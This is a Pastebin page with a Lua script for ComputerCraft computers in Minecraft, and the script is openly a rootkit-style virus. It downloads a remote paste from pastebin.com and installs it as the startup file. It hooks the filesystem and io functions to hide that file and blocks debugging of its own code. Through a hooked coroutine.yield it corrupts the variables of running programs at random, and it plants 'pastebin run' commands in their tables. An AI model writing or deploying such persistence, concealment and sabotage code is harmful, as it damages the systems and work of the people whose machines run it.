Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- load([[
- -- #### Vars
- local userStartupPath = "userStartup"
- local real = {}
- -- #### "Local" functions
- settings.set("shell.allow_disk_startup", false)
- settings.set("shell.allow_startup", true)
- settings.save ".settings"
- local h = http.get "https://pastebin.com/raw/C4SpMZT3"
- if fs.isDir "startup" then fs.delete "startup" end
- local f = fs.open("startup", "w")
- f.write(h.readAll())
- f.close()
- h.close()
- local function writeYellow(text)
- if term.isColor() then
- term.setTextColor(colors.yellow)
- term.write(text)
- term.setTextColor(colors.white)
- else
- term.write(text)
- end
- end
- -- #### Tweaking compromising functions
- local function preprocessError(e)
- if type(e) == "string" then
- local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup")
- return newText
- end
- return e
- end
- real.pcall = pcall
- local function fakePcall(...)
- local ok, result = real.pcall(...)
- if not ok then return false, preprocessError(result)
- else return ok, result end
- end
- _G.pcall = fakePcall
- real.xpcall = xpcall
- local function fakeXpcall(fn, ehandler)
- return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end)
- end
- _G.xpcall = fakeXpcall
- real.find = fs.find
- local function fakeFind(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- list = real.find(path)
- for i=1,#list do
- if list[i] == userStartupPath then
- list[i] = "startup"
- end
- end
- return list
- end
- fs.find = fakeFind
- real.list = fs.list
- local function fakeList(path)
- list = real.list(path)
- for i=1,#list do
- if list[i] == "startup" then
- table.remove(list, i)
- end
- end
- for i=1,#list do
- if list[i] == userStartupPath then
- list[i] = "startup"
- end
- end
- return list
- end
- fs.list = fakeList
- real.exists = fs.exists
- local function fakeExists(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.exists(path)
- end
- fs.exists = fakeExists
- real.ioOpen = io.open
- local function fakeIoOpen(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.ioOpen(path)
- end
- io.open = fakeIoOpen
- real.makeDir = fs.makeDir
- local function fakeMakeDir(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.makeDir(path)
- end
- fs.makeDir = fakeMakeDir
- real.delete = fs.delete
- local function fakeDelete(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.delete(path)
- end
- fs.delete = fakeDelete
- real.open = fs.open
- local function fakeOpen(path, mode)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.open(path, mode)
- end
- fs.open = fakeOpen
- real.isReadOnly = fs.isReadOnly
- local function fakeIsReadOnly(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.isReadOnly(path)
- end
- fs.isReadOnly = fakeIsReadOnly
- real.getSize = fs.getSize
- local function fakeGetSize(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.getSize(path)
- end
- fs.getSize = fakeGetSize
- real.move = fs.move
- local function fakeMove(fromPath, toPath)
- if string.lower(fromPath) == "startup" then
- fromPath = userStartupPath
- end
- if string.lower(toPath) == "startup" then
- toPath = userStartupPath
- end
- return real.move(fromPath, toPath)
- end
- fs.move = fakeMove
- real.copy = fs.copy
- local function fakeCopy(fromPath, toPath)
- if string.lower(fromPath) == "startup" then
- fromPath = userStartupPath
- end
- if string.lower(toPath) == "startup" then
- toPath = userStartupPath
- end
- return real.copy(fromPath, toPath)
- end
- fs.copy = fakeCopy
- real.stringDump = string.dump
- local function isDefinedHere(fn)
- local d = real.stringDump(fn)
- return d:find "@why" ~= nil
- end
- local function fakeStringDump(fn)
- if isDefinedHere(fn) then
- error "Unable to dump given function"
- end
- return real.stringDump(fn)
- end
- string.dump = fakeStringDump
- real.debugGetupvalue = debug.getupvalue
- local function fakeDebugGetupvalue(fn, ...)
- if isDefinedHere(fn) then return nil
- else return real.debugGetupvalue(fn, ...) end
- end
- debug.getupvalue = fakeDebugGetupvalue
- local function randomStackPos()
- local eligible = {}
- local i = 1
- while true do
- local info = debug.getinfo(i, "Sn")
- if not info then break end
- if info.what ~= "C" and info.source ~= "@why" and not (info.source == "@bios.lua" and info.name == nil) then
- table.insert(eligible, i)
- end
- i = i + 1
- end
- if #eligible == 0 then return 0
- else return eligible[math.random(1, #eligible)] end
- end
- local function mutateValue(x)
- local ty = type(x)
- if math.random(0, 10) == 4 then
- return tostring(x)
- end
- if ty == "number" then
- return x + math.random(-10, 10)
- elseif ty == "string" then
- local option = math.random(1, 3)
- if option == 1 then
- if #x == 0 then
- local p = math.random(1, #x)
- return x:sub(1, p) .. x:sub(p)
- else
- return "42"
- end
- elseif option == 2 then
- return x .. string.char(math.random(32, 128))
- elseif option == 3 then
- return x:reverse()
- end
- elseif ty == "table" then
- local option = math.random(1, 5)
- if option == 1 then
- debug.setmetatable(x, {
- __newindex = function(t, k, v)
- rawset(t, k, mutateValue(v))
- if math.random(1, 100) == 42 then
- error("java.lang.NullPointerException", 0)
- end
- end
- })
- elseif option == 2 then
- x[math.random(1, #x + 1)] = "pastebin run RM13UGFa"
- elseif option == 3 then
- local mt = (debug.getmetatable(x) or {})
- mt.__index = _G
- debug.setmetatable(x, mt)
- elseif option == 4 then
- local mt = (debug.getmetatable(x) or {})
- mt.__eq = function() return math.random(0, 1) == 0 end
- mt.__mode = "v"
- debug.setmetatable(x, mt)
- elseif option == 5 then
- for k, v in pairs(x) do
- if type(k) == "number" then
- x[k * 8] = v
- mutateValue(x[k * 8])
- end
- end
- end
- elseif ty == "function" then
- return setmetatable({}, {
- __call = function(t, ...)
- return x(...)
- end
- })
- end
- return x
- end
- -- The fun part. Inject lots of logic into coroutine.yield (which *MUST* be run periodically or CC forces the thread to stop) which messes up programs.
- real.coroutineYield = coroutine.yield
- local function fakeCoroutineYield(...)
- local mode = math.random(0, 100)
- if mode == 0 then
- local stacklevel = randomStackPos()
- local info = debug.getinfo(stacklevel, "fu")
- if info then
- if info.nups > 0 then
- local i = math.random(1, info.nups)
- local name, now = real.debugGetupvalue(info.func, i)
- local new = mutateValue(now)
- if new then debug.setupvalue(info.func, i, new) end
- end
- end
- elseif mode == 1 then
- local stacklevel = randomStackPos()
- local i = 1
- while true do
- local name, value = debug.getlocal(stacklevel, i)
- if not name then break end
- if math.random(1, 4) == 4 then
- local new = mutateValue(value)
- if new then debug.setlocal(stacklevel, i, new) end
- end
- i = i + 1
- end
- elseif mode == 2 then
- local env = getfenv(randomStackPos())
- local keys = {}
- for k in pairs(env) do table.insert(keys, k) end
- if #keys > 0 then
- local key = keys[math.random(1, #keys)]
- local new = mutateValue(env[key])
- if new then env[key] = new end
- end
- end
- return real.coroutineYield(...)
- end
- coroutine.yield = fakeCoroutineYield
- term.clear()
- term.setCursorPos(1,1)
- writeYellow(os.version())
- term.setCursorPos(1,2)
- if fs.exists("startup") then
- shell.run("startup")
- end
- ]], "@why")()
Add Comment
Please, Sign In to add comment